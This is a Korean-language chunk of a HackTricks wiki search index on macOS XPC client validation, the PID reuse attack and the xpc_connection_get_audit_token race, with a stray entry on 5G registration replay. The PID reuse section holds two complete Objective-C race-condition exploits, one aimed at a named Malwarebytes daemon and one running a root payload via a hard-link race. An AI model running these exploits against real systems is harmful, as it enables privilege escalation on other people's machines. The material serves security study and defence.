남용"},"2451":{"body":"https://theevilbit.github.io/posts/secure_coding_xpc_part1/ tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Authorization » 참고자료","id":"2451","title":"참고자료"},"2452":{"body":"Reading time: 4 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Connecting Process Check » macOS XPC Connecting Process Check","id":"2452","title":"macOS XPC Connecting Process Check"},"2453":{"body":"XPC 서비스에 연결이 설정되면, 서버는 연결이 허용되는지 확인합니다. 일반적으로 수행하는 체크는 다음과 같습니다: 연결하는 프로세스가 Apple 서명 인증서로 서명되었는지 확인합니다 (Apple에서만 발급). 이 확인이 이루어지지 않으면 , 공격자는 가짜 인증서 를 만들어 다른 체크와 일치시킬 수 있습니다. 연결하는 프로세스가 조직의 인증서로 서명되었는지 확인합니다 (팀 ID 확인). 이 확인이 이루어지지 않으면 , Apple의 모든 개발자 인증서 가 서명에 사용될 수 있으며, 서비스에 연결할 수 있습니다. 연결하는 프로세스가 적절한 번들 ID를 포함하고 있는지 확인합니다. 이 확인이 이루어지지 않으면 , 동일한 조직에서 서명된 도구 가 XPC 서비스와 상호작용하는 데 사용될 수 있습니다. (4 또는 5) 연결하는 프로세스가 적절한 소프트웨어 버전 번호를 가지고 있는지 확인합니다. 이 확인이 이루어지지 않으면 , 오래된, 취약한 클라이언트가 프로세스 주입에 취약하여 다른 체크가 있어도 XPC 서비스에 연결될 수 있습니다. (4 또는 5) 연결하는 프로세스가 위험한 권한이 없는 강화된 런타임 을 가지고 있는지 확인합니다 (임의의 라이브러리를 로드하거나 DYLD 환경 변수를 사용할 수 있는 권한과 같은). 이 확인이 이루어지지 않으면 , 클라이언트가 코드 주입에 취약할 수 있습니다. 연결하는 프로세스가 서비스에 연결할 수 있는 권한 을 가지고 있는지 확인합니다. 이는 Apple 바이너리에 적용됩니다. 검증 은 연결하는 클라이언트의 감사 토큰 을 기반으로 해야 하며, 프로세스 ID ( PID ) 대신 사용해야 합니다. 이는 후자가 PID 재사용 공격 을 방지하기 때문입니다. 개발자들은 감사 토큰 API 호출을 드물게 사용 하며, 이는 비공식적 이므로 Apple이 언제든지 변경 할 수 있습니다. 또한, 비공식 API 사용은 Mac App Store 앱에서 허용되지 않습니다. processIdentifier 메서드가 사용되면 취약할 수 있습니다. **xpc_dictionary_get_audit_token**이 xpc_connection_get_audit_token 대신 사용되어야 하며, 후자는 특정 상황에서 취약할 수 있습니다 .","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Connecting Process Check » XPC Connecting Process Check","id":"2453","title":"XPC Connecting Process Check"},"2454":{"body":"PID 재사용 공격에 대한 자세한 정보는 다음을 확인하십시오: macOS PID Reuse xpc_connection_get_audit_token 공격에 대한 자세한 정보는 다음을 확인하십시오: macOS xpc_connection_get_audit_token Attack","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Connecting Process Check » Communication Attacks","id":"2454","title":"Communication Attacks"},"2455":{"body":"Trustcache는 Apple Silicon 기계에서 도입된 방어 방법으로, Apple 바이너스의 CDHSAH 데이터베이스를 저장하여 허용된 비수정 바이너스만 실행될 수 있도록 합니다. 이는 다운그레이드 버전의 실행을 방지합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Connecting Process Check » Trustcache - Downgrade Attacks Prevention","id":"2455","title":"Trustcache - Downgrade Attacks Prevention"},"2456":{"body":"서버는 **shouldAcceptNewConnection**이라는 함수에서 이 검증 을 구현합니다. objectivec - (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {\\n//Check connection\\nreturn YES;\\n} NSXPCConnection 객체는 private 속성 auditToken (사용해야 하지만 변경될 수 있는 것)과 public 속성 processIdentifier (사용해서는 안 되는 것)을 가지고 있습니다. 연결된 프로세스는 다음과 같은 방법으로 확인할 수 있습니다: objectivec [...]\\nSecRequirementRef requirementRef = NULL;\\nNSString requirementString = @\\"anchor apple generic and identifier \\\\\\"xyz.hacktricks.service\\\\\\" and certificate leaf [subject.CN] = \\\\\\"TEAMID\\\\\\" and info [CFBundleShortVersionString] >= \\\\\\"1.0\\\\\\"\\";\\n/* Check:\\n- Signed by a cert signed by Apple\\n- Check the bundle ID\\n- Check the TEAMID of the signing cert\\n- Check the version used\\n*/ // Check the requirements with the PID (vulnerable)\\nSecRequirementCreateWithString(requirementString, kSecCSDefaultFlags, &requirementRef);\\nSecCodeCheckValidity(code, kSecCSDefaultFlags, requirementRef); // Check the requirements wuing the auditToken (secure)\\nSecTaskRef taskRef = SecTaskCreateWithAuditToken(NULL, ((ExtendedNSXPCConnection*)newConnection).auditToken);\\nSecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString)) 개발자가 클라이언트의 버전을 확인하고 싶지 않다면, 적어도 클라이언트가 프로세스 주입에 취약하지 않은지 확인할 수 있습니다: objectivec [...]\\nCFDictionaryRef csInfo = NULL;\\nSecCodeCopySigningInformation(code, kSecCSDynamicInformation, &csInfo);\\nuint32_t csFlags = [((__bridge NSDictionary *)csInfo)[(__bridge NSString *)kSecCodeInfoStatus] intValue];\\nconst uint32_t cs_hard = 0x100; // don\'t load invalid page.\\nconst uint32_t cs_kill = 0x200; // Kill process if page is invalid\\nconst uint32_t cs_restrict = 0x800; // Prevent debugging\\nconst uint32_t cs_require_lv = 0x2000; // Library Validation\\nconst uint32_t cs_runtime = 0x10000; // hardened runtime\\nif ((csFlags & (cs_hard | cs_require_lv)) {\\nreturn Yes; // Accept connection\\n} tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Connecting Process Check » Code Examples","id":"2456","title":"Code Examples"},"2457":{"body":"Reading time: 7 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Connecting Process Check » macOS PID Reuse » macOS PID 재사용","id":"2457","title":"macOS PID 재사용"},"2458":{"body":"macOS XPC 서비스 가 PID 를 기반으로 호출된 프로세스를 확인하고 감사 토큰 을 사용하지 않을 때, PID 재사용 공격에 취약합니다. 이 공격은 경쟁 조건 에 기반하며, 익스플로잇 이 XPC 서비스에 메시지를 전송하여 기능을 악용 한 후, **posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)**를 허용된 바이너리로 실행합니다. 이 함수는 허용된 바이너리 가 PID를 소유하게 만들지만, 악의적인 XPC 메시지는 그 직전에 전송됩니다. 따라서, XPC 서비스가 PID 를 사용하여 발신자를 인증 하고 posix_spawn 실행 후에 이를 확인하면, 권한이 있는 프로세스에서 온 것으로 생각할 것입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Connecting Process Check » macOS PID Reuse » PID 재사용","id":"2458","title":"PID 재사용"},"2459":{"body":"shouldAcceptNewConnection 함수나 이를 호출하는 함수가 **processIdentifier**를 호출하고 **auditToken**을 호출하지 않는 경우를 찾으면, 이는 프로세스 PID 를 확인하고 감사 토큰을 확인하지 않는다는 것을 의미합니다. 예를 들어, 이 이미지에서처럼 (참조에서 가져옴): 익스플로잇의 두 부분을 확인하기 위해 이 예시 익스플로잇을 확인하세요 (다시, 참조에서 가져옴): 여러 개의 포크를 생성하는 부분 각 포크 는 메시지를 전송한 직후 **posix_spawn**을 실행하면서 XPC 서비스 에 페이로드 를 전송 합니다. caution 익스플로잇이 작동하려면 export`` ``**OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES**를 설정하거나 익스플로잇 내부에 다음을 넣는 것이 중요합니다: asm(\\".section __DATA,__objc_fork_ok\\\\n\\"\\n\\"empty:\\\\n\\"\\n\\".no_dead_strip empty\\\\n\\"); NSTasks\\nfork 첫 번째 옵션은 **NSTasks**를 사용하고 자식 프로세스를 실행하여 RC를 악용하는 인수입니다. objectivec // Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/\\n// gcc -framework Foundation expl.m -o expl #import \\n#include \\n#include #define RACE_COUNT 32\\n#define MACH_SERVICE @\\"com.malwarebytes.mbam.rtprotection.daemon\\"\\n#define BINARY \\"/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon\\" // allow fork() between exec()\\nasm(\\".section __DATA,__objc_fork_ok\\\\n\\"\\n\\"empty:\\\\n\\"\\n\\".no_dead_strip empty\\\\n\\"); extern char **environ; // defining necessary protocols\\n@protocol ProtectionService\\n- (void)startDatabaseUpdate;\\n- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;\\n- (void)uninstallProduct;\\n- (void)installProductUpdate;\\n- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;\\n- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;\\n- (void)triggerLicenseRelatedChecks;\\n- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;\\n- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;\\n- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;\\n- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;\\n- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;\\n- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;\\n- (void)restartOS;\\n- (void)resumeScanJob;\\n- (void)pauseScanJob;\\n- (void)stopScanJob;\\n- (void)startScanJob;\\n- (void)disposeOperationBy:(NSUUID *)arg1;\\n- (void)subscribeTo:(long long)arg1;\\n- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;\\n@end void child() { // send the XPC messages\\nNSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];\\nNSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];\\nxpcConnection.remoteObjectInterface = remoteInterface; [xpcConnection resume];\\n[xpcConnection.remoteObjectProxy restartOS]; char target_binary[] = BINARY;\\nchar *target_argv[] = {target_binary, NULL};\\nposix_spawnattr_t attr;\\nposix_spawnattr_init(&attr);\\nshort flags;\\nposix_spawnattr_getflags(&attr, &flags);\\nflags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);\\nposix_spawnattr_setflags(&attr, flags);\\nposix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);\\n} bool create_nstasks() { NSString *exec = [[NSBundle mainBundle] executablePath];\\nNSTask *processes[RACE_COUNT]; for (int i = 0; i < RACE_COUNT; i++) {\\nprocesses[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @\\"imanstask\\" ]];\\n} int i = 0;\\nstruct timespec ts = {\\n.tv_sec = 0,\\n.tv_nsec = 500 * 1000000,\\n}; nanosleep(&ts, NULL);\\nif (++i > 4) {\\nfor (int i = 0; i < RACE_COUNT; i++) {\\n[processes[i] terminate];\\n}\\nreturn false;\\n} return true;\\n} int main(int argc, const char * argv[]) { if(argc > 1) {\\n// called from the NSTasks\\nchild(); } else {\\nNSLog(@\\"Starting the race\\");\\ncreate_nstasks();\\n} return 0;\\n} 이 예제는 원시 **fork**를 사용하여 PID 경쟁 조건을 악용할 자식 프로세스를 시작한 다음, 하드 링크를 통해 또 다른 경쟁 조건을 악용합니다: objectivec // export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES\\n// gcc -framework Foundation expl.m -o expl #include \\n#include \\n#include // TODO: CHANGE PROTOCOL AND FUNCTIONS\\n@protocol HelperProtocol\\n- (void)DoSomething:(void (^)(_Bool))arg1;\\n@end // Global flag to track exploitation status\\nbool pwned = false; /**\\n* Continuously overwrite the contents of the \'hard_link\' file in a race condition to make the\\n* XPC service verify the legit binary and then execute as root out payload.\\n*/\\nvoid *check_race(void *arg) {\\nwhile(!pwned) {\\n// Overwrite with contents of the legit binary\\nsystem(\\"cat ./legit_bin > hard_link\\");\\nusleep(50000); // Overwrite with contents of the payload to execute\\n// TODO: COMPILE YOUR OWN PAYLOAD BIN\\nsystem(\\"cat ./payload > hard_link\\");\\nusleep(50000);\\n}\\nreturn NULL;\\n} void child_xpc_pid_rc_abuse(){\\n// TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION\\n#define kValid \\"./Legit Updater.app/Contents/MacOS/Legit\\"\\nextern char **environ; // Connect with XPC service\\n// TODO: CHANGE THE ID OF THE XPC TO EXPLOIT\\nNSString* service_name = @\\"com.example.Helper\\";\\nNSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];\\n// TODO: CNAGE THE PROTOCOL NAME\\nNSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];\\n[connection setRemoteObjectInterface:interface];\\n[connection resume]; id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {\\nNSLog(@\\"[-] Something went wrong\\");\\nNSLog(@\\"[-] Error: %@\\", error);\\n}]; NSLog(@\\"obj: %@\\", obj);\\nNSLog(@\\"conn: %@\\", connection); // Call vulenrable XPC function\\n// TODO: CHANEG NAME OF FUNCTION TO CALL\\n[obj DoSomething:^(_Bool b){\\nNSLog(@\\"Response, %hdd\\", b);\\n}]; // Change current process to the legit binary suspended\\nchar target_binary[] = kValid;\\nchar *target_argv[] = {target_binary, NULL};\\nposix_spawnattr_t attr;\\nposix_spawnattr_init(&attr);\\nshort flags;\\nposix_spawnattr_getflags(&attr, &flags);\\nflags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);\\nposix_spawnattr_setflags(&attr, flags);\\nposix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);\\n} /**\\n* Function to perform the PID race condition using children calling the XPC exploit.\\n*/\\nvoid xpc_pid_rc_abuse() {\\n#define RACE_COUNT 1\\nextern char **environ;\\nint pids[RACE_COUNT]; // Fork child processes to exploit\\nfor (int i = 0; i < RACE_COUNT; i++) {\\nint pid = fork();\\nif (pid == 0) { // If a child process\\nchild_xpc_pid_rc_abuse();\\n}\\nprintf(\\"forked %d\\\\n\\", pid);\\npids[i] = pid;\\n} // Wait for children to finish their tasks\\nsleep(3); // Terminate child processes\\nfor (int i = 0; i < RACE_COUNT; i++) {\\nif (pids[i]) {\\nkill(pids[i], 9);\\n}\\n}\\n} int main(int argc, const char * argv[]) {\\n// Create and set execution rights to \'hard_link\' file\\nsystem(\\"touch hard_link\\");\\nsystem(\\"chmod +x hard_link\\"); // Create thread to exploit sign verification RC\\npthread_t thread;\\npthread_create(&thread, NULL, check_race, NULL); while(!pwned) {\\n// Try creating \'download\' directory, ignore errors\\nsystem(\\"mkdir download 2>/dev/null\\"); // Create a hardlink\\n// TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC\\nsystem(\\"ln hard_link download/legit_bin\\"); xpc_pid_rc_abuse();\\nusleep(10000); // The payload will generate this file if exploitation is successfull\\nif (access(\\"/tmp/pwned\\", F_OK ) == 0) {\\npwned = true;\\n}\\n} return 0;\\n}","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Connecting Process Check » macOS PID Reuse » 익스플로잇 예시","id":"2459","title":"익스플로잇 예시"},"246":{"body":"초기 NAS는 무결성과 신선도가 부족하기 때문에 캡처된 InitialUEMessage+Registration Request를 AMF로 재전송(replay)할 수 있다. PoC rule for 5GReplay to forward matching replays: xml \\n \\n \\n \\n 관찰할 사항: AMF가 replay를 수용하고 Authentication으로 진행하는지; freshness/context 검증의 부재는 노출을 의미함. 완화 대책: AMF에서 replay protection/context binding을 적용; GNB/UE별로 rate-limit 및 상관관계 적용.","breadcrumbs":"Pentesting Network » Telecom Network Exploitation » 9.3 Replay of initial Registration Request (pre-security NAS)","id":"246","title":"9.3 Replay of initial Registration Request (pre-security NAS)"},"2460":{"body":"https://gergelykalman.com/why-you-shouldnt-use-a-commercial-vpn-amateur-hour-with-windscribe.html","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Connecting Process Check » macOS PID Reuse » 다른 예시","id":"2460","title":"다른 예시"},"2461":{"body":"https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/ https://saelo.github.io/presentations/warcon18_dont_trust_the_pid.pdf tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Connecting Process Check » macOS PID Reuse » 참고자료","id":"2461","title":"참고자료"},"2462":{"body":"Reading time: 8 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 자세한 정보는 원본 게시물을 확인하세요: https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/ . 다음은 요약입니다:","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Connecting Process Check » macOS xpc_connection_get_audit_token Attack » macOS xpc_connection_get_audit_token Attack","id":"2462","title":"macOS xpc_connection_get_audit_token Attack"},"2463":{"body":"Mach 메시지가 무엇인지 모른다면 이 페이지를 확인하세요: macOS IPC - Inter Process Communication 현재 기억해야 할 것은 ( 여기에서 정의 ): Mach 메시지는 _mach 포트_를 통해 전송되며, 이는 mach 커널에 내장된 단일 수신자, 다중 송신자 통신 채널입니다. 여러 프로세스가 mach 포트에 메시지를 보낼 수 있지만, 언제든지 단일 프로세스만 읽을 수 있습니다 . 파일 설명자 및 소켓과 마찬가지로, mach 포트는 커널에 의해 할당되고 관리되며, 프로세스는 사용하고자 하는 mach 포트를 커널에 알리기 위해 정수만을 봅니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Connecting Process Check » macOS xpc_connection_get_audit_token Attack » Mach 메시지 기본 정보","id":"2463","title":"Mach 메시지 기본 정보"},"2464":{"body":"XPC 연결이 어떻게 설정되는지 모른다면 확인하세요: macOS XPC","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Connecting Process Check » macOS xpc_connection_get_audit_token Attack » XPC 연결","id":"2464","title":"XPC 연결"},"2465":{"body":"당신이 알아야 할 흥미로운 점은 XPC의 추상화는 일대일 연결 이지만, 다수의 송신자가 있을 수 있는 기술 위에 기반하고 있다는 것입니다. Mach 포트는 단일 수신자, 다중 송신자 입니다. XPC 연결의 감사 토큰은 가장 최근에 수신된 메시지에서 복사된 감사 토큰 입니다. XPC 연결의 감사 토큰 을 얻는 것은 많은 보안 검사 에 중요합니다. 이전 상황이 유망하게 들리지만, 문제가 발생하지 않을 시나리오도 있습니다 ( 여기에서 ): 감사 토큰은 종종 연결 수락 여부를 결정하기 위한 권한 확인에 사용됩니다. 이는 서비스 포트에 메시지를 사용하여 발생하므로, 아직 연결이 설정되지 않았습니다 . 이 포트에 대한 추가 메시지는 단순히 추가 연결 요청으로 처리됩니다. 따라서 연결 수락 전에 수행되는 검사는 취약하지 않습니다 (이는 -listener:shouldAcceptNewConnection: 내에서 감사 토큰이 안전하다는 것을 의미합니다). 따라서 우리는 특정 작업을 검증하는 XPC 연결을 찾고 있습니다 . XPC 이벤트 핸들러는 동기적으로 처리됩니다. 이는 하나의 메시지에 대한 이벤트 핸들러가 다음 메시지에 대해 호출되기 전에 완료되어야 함을 의미하며, 동시 디스패치 큐에서도 마찬가지입니다. 따라서 XPC 이벤트 핸들러 내에서 감사 토큰은 다른 일반(비응답!) 메시지에 의해 덮어씌워질 수 없습니다 . 이것이 악용될 수 있는 두 가지 방법이 있습니다: Variant1: 악용 서비스 A 와 서비스 B 에 연결 합니다. 서비스 B 는 사용자가 할 수 없는 특권 기능 을 서비스 A에서 호출할 수 있습니다. 서비스 A 는 **xpc_connection_get_audit_token**을 호출하는데, 이때 연결의 이벤트 핸들러 내에 있지 않습니다 **dispatch_async**에서. 따라서 다른 메시지가 감사 토큰을 덮어쓸 수 있습니다 . 왜냐하면 이벤트 핸들러 외부에서 비동기적으로 디스패치되고 있기 때문입니다. 악용은 서비스 B에 서비스 A에 대한 SEND 권한을 전달합니다 . 따라서 svc B 는 실제로 서비스 A 에 메시지 를 전송 합니다. 악용 은 특권 작업을 호출하려고 시도합니다. RC svc A 는 이 작업 의 권한을 확인 하는 동안 svc B가 감사 토큰을 덮어썼습니다 (악용이 특권 작업을 호출할 수 있는 접근을 제공합니다). Variant 2: 서비스 B 는 사용자가 할 수 없는 특권 기능 을 서비스 A에서 호출할 수 있습니다. 악용은 서비스 A 와 연결되며, 서비스는 악용에게 특정 응답 을 기대하는 메시지 를 보냅니다. 악용은 서비스 B에 그 응답 포트 를 전달하는 메시지를 보냅니다. 서비스 B 가 응답할 때, 서비스 A 에 메시지를 보내고, 악용 은 서비스 A에 다른 메시지를 보내 특권 기능에 도달하려고 시도하며, 서비스 B의 응답이 감사 토큰을 완벽한 순간에 덮어쓸 것이라고 기대합니다 (경쟁 조건).","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Connecting Process Check » macOS xpc_connection_get_audit_token Attack » 취약점 요약","id":"2465","title":"취약점 요약"},"2466":{"body":"시나리오: 두 개의 mach 서비스 **A**와 **B**에 연결할 수 있습니다 (샌드박스 프로필 및 연결 수락 전 권한 확인에 따라). _ A _는 **B**가 전달할 수 있는 특정 작업에 대한 권한 확인 을 가져야 합니다 (하지만 우리의 앱은 할 수 없습니다). 예를 들어, B가 일부 권한 을 가지고 있거나 root 로 실행되고 있다면, A에게 특권 작업을 수행하도록 요청할 수 있습니다. 이 권한 확인을 위해, **A**는 비동기적으로 감사 토큰을 얻습니다. 예를 들어, **dispatch_async**에서 xpc_connection_get_audit_token을 호출하여. caution 이 경우 공격자는 경쟁 조건 을 유발하여 A에게 작업을 수행하도록 요청하는 악용을 여러 번 발생시킬 수 있습니다. 동시에 B가 A에 메시지를 보내도록 합니다 . RC가 성공적일 경우 , B의 감사 토큰 이 메모리에 복사되며, 우리의 악용 요청이 A에 의해 처리되는 동안 특권 작업에 대한 접근을 제공합니다. 이 사건은 **A**가 smd이고 **B**가 diagnosticd일 때 발생했습니다. SMJobBless 함수는 새로운 특권 헬퍼 도구를 설치하는 데 사용될 수 있습니다 (as root ). root로 실행되는 프로세스가 smd 에 연락하면, 다른 검사는 수행되지 않습니다. 따라서 서비스 B 는 **diagnosticd**입니다. 이는 root 로 실행되며 프로세스를 모니터링 하는 데 사용될 수 있습니다. 모니터링이 시작되면, 초당 여러 메시지를 전송 합니다. 공격을 수행하려면: 표준 XPC 프로토콜을 사용하여 smd라는 서비스에 연결 을 시작합니다. diagnosticd에 대한 두 번째 연결 을 형성합니다. 일반적인 절차와는 달리, 두 개의 새로운 mach 포트를 생성하고 전송하는 대신, 클라이언트 포트 전송 권한이 smd 연결과 관련된 전송 권한 의 복제로 대체됩니다. 그 결과, XPC 메시지는 diagnosticd로 디스패치될 수 있지만, diagnosticd의 응답은 smd로 리다이렉트됩니다. smd에게는 사용자와 diagnosticd의 메시지가 동일한 연결에서 발생하는 것처럼 보입니다. 악용 프로세스를 나타내는 이미지 다음 단계는 diagnosticd에게 선택한 프로세스(사용자의 프로세스일 수 있음)를 모니터링하도록 지시하는 것입니다. 동시에, smd에 대한 1004 메시지의 홍수를 보냅니다. 여기서 목표는 특권이 있는 도구를 설치하는 것입니다. 이 작업은 handle_bless 함수 내에서 경쟁 조건을 유발합니다. 타이밍이 중요합니다: xpc_connection_get_pid 함수 호출은 사용자의 프로세스의 PID를 반환해야 합니다 (특권 도구가 사용자의 앱 번들에 있기 때문입니다). 그러나 xpc_connection_get_audit_token 함수는 특히 connection_is_authorized 서브루틴 내에서 diagnosticd의 감사 토큰을 참조해야 합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Connecting Process Check » macOS xpc_connection_get_audit_token Attack » Variant 1: 이벤트 핸들러 외부에서 xpc_connection_get_audit_token 호출하기","id":"2466","title":"Variant 1: 이벤트 핸들러 외부에서 xpc_connection_get_audit_token 호출하기"},"2467":{"body":"XPC (프로세스 간 통신) 환경에서 이벤트 핸들러는 동시 실행되지 않지만, 응답 메시지 처리에는 고유한 동작이 있습니다. 구체적으로, 응답을 기대하는 메시지를 보내는 두 가지 방법이 있습니다: xpc_connection_send_message_with_reply : 여기서 XPC 메시지는 지정된 큐에서 수신되고 처리됩니다. xpc_connection_send_message_with_reply_sync : 반대로, 이 방법에서는 XPC 메시지가 현재 디스패치 큐에서 수신되고 처리됩니다. 이 구분은 응답 패킷이 XPC 이벤트 핸들러의 실행과 동시에 구문 분석될 가능성을 허용하기 때문에 중요합니다 . 주목할 점은 _xpc_connection_set_creds가 감사 토큰의 부분 덮어쓰기를 방지하기 위해 잠금을 구현하지만, 전체 연결 객체에 대한 이 보호를 확장하지는 않는다는 것입니다. 결과적으로, 패킷 구문 분석과 이벤트 핸들러 실행 사이의 간격 동안 감사 토큰이 교체될 수 있는 취약점이 발생합니다. 이 취약점을 악용하기 위해서는 다음과 같은 설정이 필요합니다: **A**와 **B**라는 두 개의 mach 서비스, 둘 다 연결을 설정할 수 있습니다. 서비스 **A**는 **B**만 수행할 수 있는 특정 작업에 대한 권한 확인을 포함해야 합니다 (사용자의 애플리케이션은 수행할 수 없습니다). 서비스 **A**는 응답을 기대하는 메시지를 보내야 합니다. 사용자는 **B**에 응답할 메시지를 보낼 수 있습니다. 악용 과정은 다음 단계로 진행됩니다: 서비스 **A**가 응답을 기대하는 메시지를 보낼 때까지 기다립니다. **A**에 직접 응답하는 대신, 응답 포트를 탈취하여 서비스 **B**에 메시지를 보냅니다. 이후, 금지된 작업과 관련된 메시지를 디스패치하며, 이 메시지가 **B**의 응답과 동시에 처리될 것으로 기대합니다. 아래는 설명된 공격 시나리오의 시각적 표현입니다: 